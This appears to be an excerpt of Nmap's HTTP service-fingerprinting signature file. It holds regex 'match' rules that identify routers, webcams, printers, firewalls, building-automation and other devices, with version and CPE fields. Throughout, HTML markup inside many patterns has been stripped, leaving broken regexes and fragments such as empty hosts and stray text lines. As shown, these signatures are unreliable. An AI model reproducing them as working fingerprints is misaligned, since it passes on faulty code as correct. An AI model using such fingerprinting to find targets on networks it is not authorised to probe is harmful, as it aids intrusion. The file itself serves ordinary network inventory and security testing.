cpe:/h:linksys:e8350/a match http m|^HTTP/1\.0 404 not found\r\nDate: .* GMT\r\nConnection: close\r\nX-UA-Compatible: IE=edge\r\nX-Frame-Options: SAMEORIGIN\r\nCache-control: no-cache\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 19\r\n\r\n

          Not Found

          \n| p/Fossil SCM httpd/ cpe:/a:d_richard_hipp:fossil/ match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: \d+\r\n\r\n D-Link VoIP Router | p/D-Link VoIP Router http admin/ d/VoIP adapter/ match http m|^HTTP/1\.1 200 OK\r\ncontent-type: text/html; charset=utf-8\r\nconnection: close\r\ncache-control: no-cache, must-revalidate\r\ncontent-length: \d+\r\n\r\n\n\n\nTomcat - YourKit Java Profiler ([\d.]+) build (\d+)| p/YourKit Java Profiler/ v/$1 build $2/ cpe:/a:yourkit:java_profiler:$1:$2/ match http m|^HTTP/1\.0 200 OK\r\nContent-length: \d+\r\nContent-type: text/html\r\nCache-Control:no-cache\r\nPragma:no-cache\r\n\r\n\r\n\n| p/Netgear $1 WAP http admin/ d/WAP/ cpe:/h:netgear:$1/a match http m|^HTTP/1\.1 307 Temporary Redirect\r\nLocation:/login/login\.html\r\nSet-Cookie:bmc\.webapp\.src=/;Path=/;Secure;\r\nDate:\S.*\r\nServer:BMC Client Management (\d[\w.]+)\r\nConnection:Close\r\nContent-Length:0\r\n\r\n| p/BMC Client Management/ v/$1/ cpe:/a:bmc:client_management:$1/ match http m|^HTTP/1\.0 500 Internal Server Error\r\nContent-Length: 0\r\nConnection: close\r\nDate: .*\r\nServer: Sky\r\n\r\n| p/BSkyB router http admin/ d/broadband router/ # The "1.1" is meaningless: this was for version 4.0 match http m|^HTTP/1\.1 [45]01 .*\r\nServer: BlueIris-HTTP/1\.1\r\nDate: .*\r\nP3P:| p/Blue Iris camera webserver/ d/webcam/ match http m|^HTTP/1\.0 302 Found\r\naccess-control-allow-credentials: .*\r\nserver: dglux_server/(\d+)\r\n\r\n|s p/DGLux5/ v/$1/ cpe:/a:dglogik:dglux5:$1/ match http m|^HTTP/1\.1 200 Ok\r\nDate: .*\r\nContent-Type: text/html\r\n\r\n\n\n\t\n\t\tWeb Application Manager\n\t\t\n| p/NightOwl DVR http viewer/ d/webcam/ match http m|^HTTP/1\.1 404 Not Found\r\nContent-Type: text/html\r\nContent-Length: 14\r\n\nPath Not Found| p/8x8 Virtual Office Desktop/ match http m|^HTTP/1\.0 \d\d\d .*\r\n(?:Location: .*)?\r\nDate: .*\r\nServer: Ericom Access Server x64\r\n| p/Ericom Access Server/ i/arch: x64/ cpe:/a:ericom:access_server/ match http m|^HTTP/1\.0 \d\d\d .*\r\n(?:Location: .*)?\r\nDate: .*\r\nServer: Ericom Access Server\r\n| p/Ericom Access Server/ cpe:/a:ericom:access_server/ # 3.2.5.5 and 4.1.3 match http m|^HTTP/1\.1 404 Not Found\r\nServer: ES Name Response Server\r\nContent-Type: text/html\r\nContent-Length: 9\r\nConnection: close\r\n\r\nNot found| p/ES File Explorer Name Response httpd/ d/phone/ cpe:/a:estrongs:es_file_explorer/ match http m|^HTTP/1\.1 404 Not Found\r\nContent-Length: 85\r\nContent-Type: text/html\r\n\r\nNot Found

          404 Not Found

          | p/Proficy License Server/ cpe:/a:ge:intelligent_platforms_proficy_license_server/ match http m|^HTTP/1\.0 200 OK\r\nDate: .*\r\nServer: xxxxxxxx-xxxxx\r\nLast-Modified: .*\r\nETag: "[a-f0-9-]{16}"\r\nAccept-Ranges: bytes\r\nContent-Length: \d+\r\nConnection: close\r\nContent-Type: text/html\r\nX-Frame-Options: SAMEORIGIN\r\n\r\n\n| p/Fortinet Fortiguard 900D SSL VPN/ d/firewall/ cpe:/h:fortinet:fortiguard_900d/ match http m|^HTTP/1\.[01] \d\d\d .*\r\nDate: .*\r\nServer: xxxxxxxx-xxxxx\r\n| p/Fortinet security device httpd/ d/security-misc/ match http m|^HTTP/1\.1 302 Found\r\nLocation: https://:8010/\r\nConnection: close\r\n\r\n$| p/Fortinet FortiGuard block page/ d/security-misc/ match http m|^HTTP/1\.1 400 Bad Request\r\nContent-Length: 13\r\nConnection: close\r\n\r\nBAD REQUEST :>| p/Flightradar24 fr24feed settings httpd/ cpe:/a:flightradar24:fr24feed/ match http m|^HTTP/1\.0 404\r\nServer: Standard ERP ([\d.]+) \d{4}-\d\d-\d\d\r\nDate: | p/HansaWorld Standard ERP/ v/$1/ cpe:/a:hansaworld:standard_erp:$1/ match http m|^HTTP/1\.1 200 OK\r\nX-UA-Compatible: IE=edge\r\nX-Graylog-Node-ID: [a-f\d-]{36}\r\n(?:Vary: Accept-Encoding\r\n)?Content-Type: text/html\r\nDate: .*\r\nConnection: close\r\nContent-Length: \d+\r\n\r\n| p/Graylog2 web interface/ cpe:/a:graylog:graylog2/ match http m|^HTTP/1\.0 411 Length Required\r\nDate: .*\r\nServer: RedBack Application Server ([\d.]+)\r\n| p/IBM RedBack Application Server SOAP/ v/$1/ cpe:/a:ibm:redback_application_server:$1/ match http m|^HTTP/1\.0 403 Forbidden\r\nConnection: close\r\nContent-Type: text/html\r\n\r\n

          Forbidden

          Rejected request from RFC1918 IP to public server address| p/OpenWrt admin httpd/ i/rejected RFC1918 address/ match http m|^HTTP/1\.1 302 Object Moved\r\nLocation: https://.*\r\nContent-Type: text/html\r\nCache-Control: private\r\nConnection: close\r\n\r\n This object may be found here | p/Citrix NetScaler https redirect/ d/load balancer/ match http m|^HTTP/1\.1 200 OK\r\nDate: .*\r\n\r\n\nCisco .*>Cisco IP Phone CP-(\d+) \(|s p/Cisco Unified IP Phone httpd/ i/model: $1/ cpe:/h:cisco:unified_ip_phone_$1/ match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\nTransfer-Encoding: chunked\r\n\r\n[A-Z\d]+\r\n<!DOCTYPE html>\n<html lang="en">\n<head>\n <meta charset="utf-8">\n <meta http-equiv="X-UA-Compatible" content="IE=edge">\n <meta name="viewport" content="width=device-width, initial-scale=1\.0">\n <meta name="description" content="ympd - fast and lightweight MPD webclient">\n <meta name="author" content="andy@ndyk\.de">| p/ympd/ cpe:/a:ndyk.de:ympd/ match http m|^HTTP/1\.1 303 See Other\r\nLocation : /postage/\r\n\r\n$| p/Workflow Envelope httpd/ cpe:/a:workflow_products:envelope/ match http m|^HTTP/1\.1 200\r\nContent-Type: text/html\r\nContent-Length: \d+\r\n\r\n<!DOCTYPE html>\n<html lang="en"><!-- See http://www\.w3schools\.com/tags/ref_language_codes\.asp -->\n<head>\n <meta http-equiv="Content-Type" content="text/html" charset="UTF-8">\n <title>XX-Net| p/XX-Net web proxy tool/ match http m|^HTTP/1\.1 200 OK\r\nAccept-Ranges: bytes\r\nCache-Control: no-cache\r\nConnection: close\r\nContent-Length: \d+\r\nContent-Type: text/html; charset=ISO-8859-1\r\nDate: .*\r\nExpires: 0\r\nPragma: no-cache\r\nServer: 4D/([\d.]+)\r\n\r\n\n\n\nTOPIX8| p/4D RDBMS web server/ v/$1/ i/TOPIX8 CRM/ cpe:/a:4d_sas:4d:$1/ cpe:/a:topix:topix8/ match http m|^HTTP/1\.0 200 OK\r\nSet-Cookie: PHPSESSID=\w+; path=/; secure\r\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\r\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\r\nPragma: no-cache\r\nContent-type: text/html\r\nContent-Length: \d+\r\nConnection: close\r\nDate: .*\r\nServer: Server\r\n\r\n| p/Ubiquiti Edge router httpd/ d/router/ match http m|^HTTP/1\.1 200 OK\r\nServer: Plack::Handler::Starlet\r\nSet-Cookie: RT_SID_ticket\.([\w._-]+?)\.\d+=| p/Plack Starlet/ i/Request Tracker/ h/$1/ cpe:/a:best_practical:request_tracker/ match http m|^HTTP/1\.0 404 Not Found\r\nContent-Type: text/plain; charset=utf-8\r\nX-Content-Type-Options: nosniff\r\nDate: .*\r\nContent-Length: 19\r\n\r\n404 page not found\n| p|Golang net/http server| i/Go-IPFS json-rpc or InfluxDB API/ cpe:/a:golang:go/ cpe:/a:influxdata:influxdb/ cpe:/a:protocol_labs:go-ipfs/ match http m=^HTTP/1\.0 200 OK\r.*\nServer: WildFly/(\d+)\r.*\nLiferay-Portal: Liferay (Community|Enterprise) Edition Portal ([\d.]+) (?:[A-Z]E )?([A-Z]{1,2}\d+)=s p/Liferay Portal $2 Edition/ v/$3 $4/ i/JBoss WildFly Application Server $1/ cpe:/a:liferay:liferay_portal:$3:$4:$2/ cpe:/a:redhat:jboss_wildfly_application_server:$1/ # Samsung SL-C430W match http m|^HTTP/1\.1 200 OK\r\nContent-Type:text/html\r\nExpires: Thu, 1 Jan 1998 00:00:00 GMT\r\nPragma: no-cache\r\nServer: LPC Http Server/V1\.0\r\n.*<TITLE>KONICA MINOLTA Page Scope Web Connection for (\d+)|s p/Konica Minolta $1 printer http admin/ d/printer/ cpe:/h:konicaminolta:$1/a match http m|^HTTP/1\.1 200 OK\r\nConnection: close\r\nContent-Type: text/html\r\nCache-Control:no-cache\r\nPragma:no-cache\r\nExpires:[smtwf].*\r\n\r\n\n\n\n\n\n\nRedirecting to SSL secured connection\.\n

          | p/Plesk Parallels Virtual Automation https redirect/ match http m|^HTTP/1\.1 404 Not Found\r\n(?:[^\r\n]+\r\n)*?Server: Powered by Highwinds-Software\r\nContent-Length: \d+\r\nContent-Type: text/html\r\nX-HW:|s p/Highwinds CDN httpd/ match http m|^HTTP/1\.[01] 200 OK\r\nConnection: close\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: \d+\r\nCache-Control: max-age=0, no-store, no-cache\r\nx-enc: Ext1, Basic\r\nServer: Dell (\w+) Mono MFP, sn=(\w+)\r\n\r\n| p/Dell $1 printer httpd/ i/serial: $2/ d/printer/ cpe:/h:dell:$1/a match http m|^HTTP/1\.1 301 Moved Permanently\r\nLocation: https?:///hub/\r\nContent-Length: 0\r\n\r\n| p/Qlik Sense httpd/ cpe:/a:qlik:qlik_sense/ match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Cricut Hyperion v([\d.]+)\r\n.*"Plugin" : \n\t\{\n\t\t"Debug" : false,\n\t\t"Version" : "([\d.]+)"\n\t\},|s p/Cricut Hyperion httpd/ v/$1/ i/Plugin version $2/ match http m|^HTTP/1\.1 200 OK\r\nConnection: close\r\nContent-Type: text/html; charset=ISO-8859-1\r\nContent-Length: \d+\r\nDate: .*\r\n\r\n\r\n\r\n

          Reports Server 'RK\d+SRV' \(PID: \d+, Version: ([\d.]+)\)| p/R-Keeper Reports Server/ v/$1/ cpe:/a:ucs:r-keeper:$1/ match http m|^HTTP/1\.0 200 Ok\r\nServer: jjhttpd v([\d.]+)\r\n| p/jjhttpd/ v/$1/ i/D-Link or TRENDNet WAP/ d/WAP/ match http m|^HTTP/1\.0 200 OK\r\nServer: WindRiver-WebServer/([\d.]+)\r\nConnection: close\r\nContent-Type: text/html\r\nWWW-Authenticate: Basic realm="[^"]+"\r\n\r\n.*Device Information\r\n

          Cisco IP Phone CP-(\d+) \(|s p/WindRiver WebServer/ v/$1/ i/Cisco IP Phone $2/ d/VoIP phone/ cpe:/h:cisco:unified_ip_phone_$2/ match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html \r\nSet-Cookie: P4W\d+=([^;\r\n]+); expires=Fri, 1-Dec-1999 23:59:59 GMT; path=/ \r\n\r\n\n\n\nP4Web - Login| p/Perforce P4Web httpd/ i/name: $1/ cpe:/a:perforce:p4web/ match http m|^HTTP/1\.1 404 Not Found\r\nContent-Length: 0\r\nServer: TR069 client CLI Server\r\nConnection: close\r\n\r\n| p/Alcatel-Lucent I-240W-A WAP TR069/ d/WAP/ cpe:/h:alcatel-lucent:i-240w-a/a match http m|^HTTP/1\.1 200 OK\r\nExpires: .*\r\nDate: .*\r\nContent-type: text/html\r\n\r\n<\?xml version="1\.0" encoding="iso-8859-1"\?>\n\n\n\n\n\n| p/YouLess LS110 energy monitor http admin/ d/power-misc/ match http m|^HTTP/1\.1 200 OK\r\nX-Frame-Options: SAMEORIGIN\r\nContent-Length: \d+\r\nCache-Control:no-cache\r\nContent-Type:text/html\r\nSet-Cookie: PUTCOOKIE=[^;]+; path=/; HttpOnly; \r\n\r\n\n\n\n \n \n \n Teradata Parallel Upgrade Tool 0?(\d[\d.]*)<| p/Teradata Parallel Upgrade Tool/ v/$1/ cpe:/a:teradata:tdput:$1/ # 15.11.00.05-b143 match http m|^HTTP/1\.1 302 Found\r\nCache-Control: public, no-store, max-age=0\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nX-XSS-Protection: 1; mode=block\r\nLocation: http://[^/]*/login\.html\r\nDate: .*\r\nConnection: close\r\nServer: Teradata-Viewpoint\r\n\r\n| p/Teradata Viewpoint/ cpe:/a:teradata:viewpoint/ match http m|^HTTP/1\.1 400 Invalid request\r\n| p/ThinLinc VSM xmlrpc/ cpe:/a:cendio:thinlinc/ match http m|^HTTP/1\.1 404 NOT FOUND\r\nServer: InterDialog\r\nConnection: close\r\nDate: .* India Standard Time\r\nCache-Control: private\r\nContent-Length: 14\r\nContent-type: text\r\n\r\nPage Not Found| p/Teckinfo InterDialog UCCS/ cpe:/a:teckinfo:interdialog_uccs/ match http m|^HTTP/1\.0 200 OK\r\nServer: httpd/2\.0\r\nx-frame-options: SAMEORIGIN\r\nx-xss-protection: 1; mode=block\r\nDate: .*\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n<HTML><HEAD><script>top\.location\.href='/Main_Login\.asp';</script>\n</HEAD></HTML>\n| p/ASUS WRT http admin/ cpe:/o:asus:wrt_firmware/ match http m|^HTTP/1\.0 200 OK\r\nSet-Cookie: session=bridgeworks[a-f\d]+; path=/\r\nDate: .*\r\nServer: Mordac/([\d.]+)\r\n| p/Bridgeworks iSCSI-to-SAS bridge http ui/ v/$1/ d/storage-misc/ match http m|^HTTP/1\.0 302 Found\r\nLocation: /login\r\nSet-Cookie: wdcpsessionID=[a-f\d]{32};| p/WDLinux Control Panel/ cpe:/a:wdlinux:wdcp/ match http m|^HTTP/1\.1 \d\d\d \r\nDate:[^ ].*\r\nServer:AprisaSR Web Server\r\n| p/4RF Aprisa SR smart radio httpd/ d/specialized/ cpe:/h:4rf:aprisa_sr/ match http m|^HTTP/1\.0 200 OK\r\nServer: lwIP/([\d.]+) \(http://www\.sics\.se/~adam/lwip/\)\r\nContent-type: text/html\r\n\r\n<!-- Copyright \(c\) \d\d\d\d TDSi Ltd\. All rights reserved\. -->\r\n<html>\r\n<head>\r\n<meta http-equiv="content-type" content="text/html;charset=ISO-8869-1">\r\n<title>TDSi Ethernet to Serial Module| p/TDSi Ethernet to Serial bridge/ i/lwIP $1/ cpe:/a:lwip_project:lwip:$1/ match http m|^HTTP/1\.1 200 OK\r\nServer: CJServer/1\.1\r\nSet-Cookie: JSESSIONID=[A-F\d]+; Path=/; HttpOnly\r\nContent-Type: text/html;charset=ISO-8859-1\r\nContent-Length: \d+\r\nDate: .*\r\nConnection: close\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n

          ([^<]+)

          | p/WebCTRL building automation http ui/ i/site: $1/ cpe:/a:automatedlogic:webctrl/ match http m|^HTTP/1\.1 200 OK\r\nServer: CJServer/1\.1\r\nSet-Cookie: JSESSIONID=[A-F\d]+; Path=/; HttpOnly\r\n| p/WebCTRL building automation http ui/ cpe:/a:automatedlogic:webctrl/ match http m|^HTTP/1\.0 \d\d\d .*\r\nDate: .*\r\nContent-Type: .*\r\nServer: ghs\r\n| p/Google httpd/ match http m|^HTTP/1\.1 302 Found\r\nX-DNS-Prefetch-Control: off\r\nX-Frame-Options: SAMEORIGIN\r\n(?:Strict-Transport-Security: max-age=\d+; includeSubDomains\r\n)?X-Download-Options: noopen\r\nX-Content-Type-Options: nosniff\r\nX-XSS-Protection: 1; mode=block\r\nLocation: /signin\r\nVary: Accept\r\nContent-Type: text/plain; charset=utf-8\r\nContent-Length: \d+\r\nset-cookie: connect\.sid=| p/Xen Orchestra/ i/Node.js Express middleware/ cpe:/a:nodejs:node.js/ cpe:/a:vates:xen_orchestra/ match http m|^HTTP/1\.0 200 OK\r\nServer: Tektronix/WVR 7100\r\nContent-length: \d+\r\nContent-type: text/html\r\n\r\n\r\n\r\n\r\nTektronix (W\w+) Remote Interface| p/Tektronix $1 waveform monitor http ui/ cpe:/h:tektronix:$1/ match http m|^HTTP/1\.1 403 Forbidden\r\nContent-Length: 70\r\nContent-Type: text/html\r\n\r\nError detected by Host Server \r\n\r\n| p/BMC MainView Explorer/ cpe:/a:bmc:mainview_explorer/ match http m|^HTTP/1\.1 400 Bad Request\r\nCONTENT-TYPE: text/html; charset=utf-8\r\nCONTENT-LENGTH: 92\r\nCONNECTION: CLOSE\r\n\r\nServer Error

          400 Bad Request\r\n

          | p/Bastec BAS2 building automation system http ui/ cpe:/a:bastec:bas2/ match http m|^HTTP/1\.1 200 OK\r\nCONTENT-TYPE: text/html; charset=.*\r\nDATE: .*\r\nCACHE-CONTROL: NO-CACHE\r\nTRANSFER-ENCODING: CHUNKED\r\nSET-COOKIE: SESSION_ID=[A-F\d]{16}\r\nCONNECTION: CLOSE\r\n\r\n| p/Bastec BAS2 building automation system http ui/ cpe:/a:bastec:bas2/ match http m|^HTTP/1\.1 400 Bad Request\r\nServer: \(null\)\r\nDate: .*\r\nContent-Type: text/html\r\nContent-Length: \d\d\d\r\n| p/D-Link WAP http ui/ d/WAP/ match http m|^HTTP/1\.0 200 OK\r\nContent-Type: application/json\r\nDate: .*\r\nContent-Length: 114\r\n\r\n\{"type":"sync","status":"Success","status_code":200,"operation":"","error_code":0,"error":"","metadata":\["/1\.0"\]\}\n| p/LXD container manager REST API/ cpe:/a:canonical:lxd/ match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nDate: .*\r\n\r\n\n\n\n\n\n\n\n Kafka Manager\n .* versions: \{[^}]*"kafka-manager":"([\d.]+)"|s p/Kafka Manager/ v/$1/ cpe:/a:yahoo:kafka_manager:$1/ match http m|^HTTP/1\.1 200 OK\r\nConnection: close\r\nContent-Type: text/html; charset=ISO-8859-1\r\nContent-Length: \d+\r\nDate: .*\r\n\r\n\r\n\r\n
          Reports Server '([^']+)' \(PID: \d+, Version: ([\d.]+)\)

          \r\n
          Uptime: (\d[^(]+) \(| p/UCS R-Keeper hospitality system/ v/$2/ i/uptime: $3/ h/$1/ cpe:/a:ucs:r-keeper:$2/ match http m|^HTTP/1\.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: 76\r\nAccess-Control-Allow-Headers: Content-Type\r\nAllow: POST\r\nAccess-Control-Allow-Origin: \*\r\nDate: .*\r\nConnection: close\r\n\r\n\{"jsonrpc":"2\.0","error":\{"code":-32602,"message":"Unauthorized"\},"id":null\}| p/Popcorn Time JSONRPC/ match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: AquaController ([\d.]+)\r\nWWW-Authenticate: Basic realm="\."\r\n| p/Neptune Systems AquaController aquarium monitor httpd/ v/$1/ d/specialized/ match http m|^HTTP/1\.1 403 Forbidden\r\nDate: .*\r\nServer: \r\nContent-Length: 10\r\nConnection: close\r\nContent-Type: text/html; charset=iso-8859-1\r\n\r\nForbidden\.| p/Proofpoint Email Protection/ match http m|^HTTP/1\.0 401 Unauthorized\r\nContent-Length: 0\r\nWWW-Authenticate: Basic realm="XBMC"\r\nConnection: close\r\nDate: .*\r\n\r\n| p|Kodi/XBMC http ui| match http m|^HTTP/1\.0 200 OK\r\nPragma: no-cache\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n\n(DGS-\w+)\n| p/D-Link $1 http admin/ cpe:/h:d-link:$1/ match http m|^HTTP/1\.0 200 OK\r\nSet-Cookie: SESSIONID=-1 \r\nServer: Easy File Management Web Server (?:SSL )?v([\d.]+)\r\n| p/Easy File Management Web Server/ v/$1/ o/Windows/ cpe:/a:efs:easy_file_management_web_server:$1/ cpe:/o:microsoft:windows/a match http m|^HTTP/1\.0 200 OK\r\nCache-Control: no-cache\r\nContent-Type:text/html\r\nContent-Length:\d+ +\r\n\r\n\n\n \n\n\nVoIP\n)?\r\n\r\n\r\n\t403 Forbidden

          403 Forbidden

          | p/TP-Link ADSL+ modem httpd/ d/broadband router/ match http m|^HTTP/1\.1 200 OK\r\nCONNECTION: close\r\nDate: .*\r\nLast-Modified: .*\r\nEtag: "\d+:[\da-f]+"\r\nCONTENT-LENGTH: \d+\r\nCONTENT-TYPE: text/html\r\n\r\n Intelbras| p/Intelbras webcam httpd/ d/webcam/ match http m|^HTTP/1\.1 401 Unauthorized\r\nContent-Length: 0\r\nWWW-Authenticate: Digest qop="auth", realm="IP Webcam", nonce="\d+"\r\n\r\n| p/IP Webcam httpd/ o/Android/ cpe:/a:pavel_khlebovich:ip_webcam/ #(insert http) # APACHE # First match these plaintext responses when SSL was expected # Matching ssl/http stops probing. This line has plenty of match info. match ssl/http m|^\n\n400 Bad Request\n\n

          Bad Request

          \n

          Your browser sent a request that this server could not understand\.
          \nReason: You're speaking plain HTTP to an SSL-enabled server port\.
          \n.*

          Apache/([\w._-]+) (.*) Server at ([\w._*-]+) Port \d+
          |s p/Apache httpd/ v/$1/ i/$2; SSL-only mode/ h/$3/ cpe:/a:apache:http_server:$1/ # These lines don't have a strong enough match, so we only match ssl and let Nmap start over inside the tunnel. match ssl m|^\n\n400 Bad Request\n\n

          Bad Request

          \n

          Your browser sent a request that this server could not understand\.
          | p/Apache httpd/ i/SSL-only mode/ cpe:/a:apache:http_server/ # Too broad to be certain that it's SSL. Matched non-SSL at least once. #match ssl m|^HTTP/1\.1 400 Bad Request\r\n(?:[^\r\n]+\r\n)*?Server: Apache[^\r\n]*\r\n.*\n\n400 Bad Request\n\n

          Bad Request

          \n

          Your browser sent a request that this server could not understand\.
          |s p/Apache httpd/ i/SSL-only mode/ cpe:/a:apache:http_server/ # Then look for detailed version info in the body which might be better quality than what's in the Server header. match http m|^.*

          Apache/([\d.]+) \([^)]+\) ?(.*) Server at ([-\w_.]+) Port \d+
          \n\n|si p/Apache httpd/ v/$1/ i/$2/ h/$3/ cpe:/a:apache:http_server:$1/ match http m|^.*
          Apache/([\d.]+) \([^)]+\) Server at ([-\w_.]+) Port \d+
          \n\n|si p/Apache httpd/ v/$1/ h/$2/ cpe:/a:apache:http_server:$1/ match http m|^.*
          Apache/([\d.]+) Server at ([-\w_.]+) Port \d+
          \n\n|si p/Apache httpd/ v/$1/ h/$2/ cpe:/a:apache:http_server:$1/ # Finally, look at the Server header. match http m|^HTTP/1\.[01] \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Apache[/ ](\d[-.\w]+)\r.*\nX-Powered-By: PHP/([\w._-]+)\r\n|s p/Apache httpd/ v/$1/ i/PHP $2/ cpe:/a:apache:http_server:$1/ cpe:/a:php:php:$1/ match http m|^HTTP/1\.[01] \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Apache\r.*\nX-Powered-By: PHP/([\w._-]+)\r\n|s p/Apache httpd/ i/PHP $1/ cpe:/a:apache:http_server/ cpe:/a:php:php:$1/ match http m|^HTTP/1\.[01] \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Apache[/ ](\d[-.\w]+)\r.*\nX-Powered-By: ([^\r\n]+)\r\n|s p/Apache httpd/ v/$1/ i/$2/ cpe:/a:apache:http_server:$1/ match http m|^HTTP/1\.[01] \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Apache\r.*\nX-Powered-By: ([^\r\n]+)\r\n|s p/Apache httpd/ i/$1/ cpe:/a:apache:http_server/ match http m|^HTTP/1\.[01] \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Apache[/ ](\d[-.\w]+) ([^\r\n]+)|s p/Apache httpd/ v/$1/ i/$2/ cpe:/a:apache:http_server:$1/ match http m|^HTTP/1\.[01] \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Apache[/ ](\d[.\w-]+)\s*\r?\n|s p/Apache httpd/ v/$1/ cpe:/a:apache:http_server:$1/ match http m|^HTTP/1\.[01] \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Apache\r\n|s p/Apache httpd/ cpe:/a:apache:http_server/ match http m|^HTTP/1\.[01] \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Apache +\(([^\r\n\)]+)\)\r\n|s p/Apache httpd/ i/$1/ cpe:/a:apache:http_server/ # Maybe too generic? match http m|^HTTP/1\.1 404 Not Found\r\nContent-Length: 0 \r\n\r\n$| p/Arcnet 3001A powerline network adaptor/ d/power-misc/ cpe:/h:arcnet:3001a/ match http m|^HTTP/1\.0 \d\d\d [^\r\n]+\r\nContent-Type: text/html\r\nDate: [^\r\n]+\r\nAccept-Ranges: bytes\r\nConnection: close\r\n\r\n\n\n \d\d\d [^<]+\n\n\n

          \d\d\d [^<]+

          \n

          \n\n\n| p/Vodafone Station captive portal httpd/ match http m|^HTTP/1\.1 301 Moved Permanently\r\nLocation: https://[\d.]+/\r\nConnection: close\r\n\r\n$| p/thttpd/ i/StarField KVM over IP/ cpe:/a:acme:thttpd/ match http m|^HTTP/1\.0 202 Accepted\r\nDate: .*\r\nConnection: Close\r\n\r\n$| p/WSO2 Enterprise Service Bus/ cpe:/a:wso2:esb/ match http m|^HTTP/1\.0 404 Not found\r\n\r\n$| p/Tor directory server/ cpe:/a:torproject:tor/ match http m|^HTTP/1\.1 400 Bad Request\r\nContent-type: text/html\r\nContent-Length: 0\r\n\r\n| p/Brickstream/ match http m|^HTTP/1\.0 302 Found\r\nLocation: /html/en/index\.html\r\n\r\n$| p/peercast.org/ match http m|^HTTP/1\.0 404 Not found\r\n\r\nFile Not Found\n

          File Not Found

          \n$| p/Bacula http config/ match http m|^HTTP/1\.[01] 302 Found\r\nConnection: Close\r\nContent-Length: 0\r\nContent-type: text/html\r\nDate: .*\r\nLocation: .*/login\.php\r\n\r\n| p/Kerio MailServer http config/ o/Windows/ cpe:/o:microsoft:windows/a match http m|^HTTP/1\.0 401 Authorization Required\r\nWWW-Authenticate: BASIC realm=\"Admin\"\r\n\r\nPassword Error\.\r\n\r\n$| p/D-Link DP-301P+ print server http config/ d/print server/ cpe:/h:d-link:dp-301p%2d/ match http m|^HTTP/1\.0 401 Unauthorized\nContent-type: text/html\r\nDate: .*\r\nConnection: close\r\nWWW-Authenticate: Basic realm=\"Web Server Authentication\"\r\n\r\n401 Unauthorized\n

          401 Unauthorized

          \n\n\n$| p/Accton VM1188T VoIP phone http config/ d/VoIP phone/ # Seen for OpenPegasus, VMware ESX CIM server, Microsoft SCX CIM Server. match http m|^HTTP/1\.1 501 Not Implemented\r\n\r\n$| p/Web-Based Enterprise Management CIM serverOpenPegasus WBEM httpd/ o/Linux/ cpe:/o:linux:linux_kernel/a match http m|^HTTP/1\.1 302 Found\r\nLocation: http://[\d.]+:8080/\r\nContent-Length: 0\r\n\r\n$| p/Red Condor antispam appliance http config/ d/proxy server/ match http m|^HTTP/1\.0 301 Moved Permanently\r\nLocation: https:///\r\n\r\n$| p/Check Point NGX Firewall-1/ cpe:/a:checkpoint:firewall-1/ match http m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nConnection: close\r\n\r\n$| p/Node.js/ cpe:/a:nodejs:node.js/ match http m|^HTTP/1\.0 302 Redirection\r\nLocation: index\.html\r\n\r\n$| p/JPS Radio Gateway http config/ match http m|^HTTP/1\.1 404 \r\nAccept-Ranges: bytes\r\nConnection: close\r\nContent-Length: 0\r\n\r\n| p/SearchInform DLP/ match http m|^HTTP/1\.0 200 Ok\r\nServer: httpd\r\nDate: .*\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nExpires: 0\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n\n\nLogin Page\n
          NTLM Authentica| p/Smoothwall proxy/ i/NTLM authentication/ match http-proxy m|^HTTP/1\.1 400 Received invalid request from Client\r\nDate: .*\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nContent-Type: text/html; charset=\"UTF-8\"\r\nContent-Length: \d+\r\nAccept-Ranges: none\r\nProxy-Connection: close\r\n\r\n\n\n \n \n The requested URL could not be retrieved| p|Sophos/Astaro UTM gateway| d/security-misc/ cpe:/a:astaro:security_gateway_software/ match http-proxy m|^HTTP/1\.0 400 Bad Request\r\nContent-Type: application/json; charset=UTF-8\r\nContent-Length: 84\r\n\r\n{\"fault\":{\"faultstring\":\"\\\"Missing Host header\\\"\",\"detail\":{\"code\":\"MISSING_HOST\"}}}| p/Apigee API proxy/ match http-proxy m|^HTTP/1\.0 400 badrequest\r\nVia: 1\.0 ([\w.-]+) \(McAfee Web Gateway ([\w._-]+)\)\r\nConnection: Close\r\n| p/McAfee Web Gateway/ v/$2/ i/Via $1/ cpe:/a:mcafee:web_gateway:$2/ match http-proxy m|^HTTP/1\.0 400 Bad Request\r\nContent-Length: 113\r\nDate: .*\r\nExpires: 0\r\n\r\n\nError 400: Bad Request\n\n

          Error 400: Bad Request

          \n\n\n| p/Mikrotik HotSpot http proxy/ match http-proxy m|^HTTP/1\.0 400 Host Required In Request\r\nDate: .*\r\nConnection: close\r\nCache-Control: no-store\r\nContent-Type: text/html\r\nContent-Language: en\r\nContent-Length: \d+\r\n\r\n\n\nHost Header Required\n\n\n\n

          Host Header Required

          \n
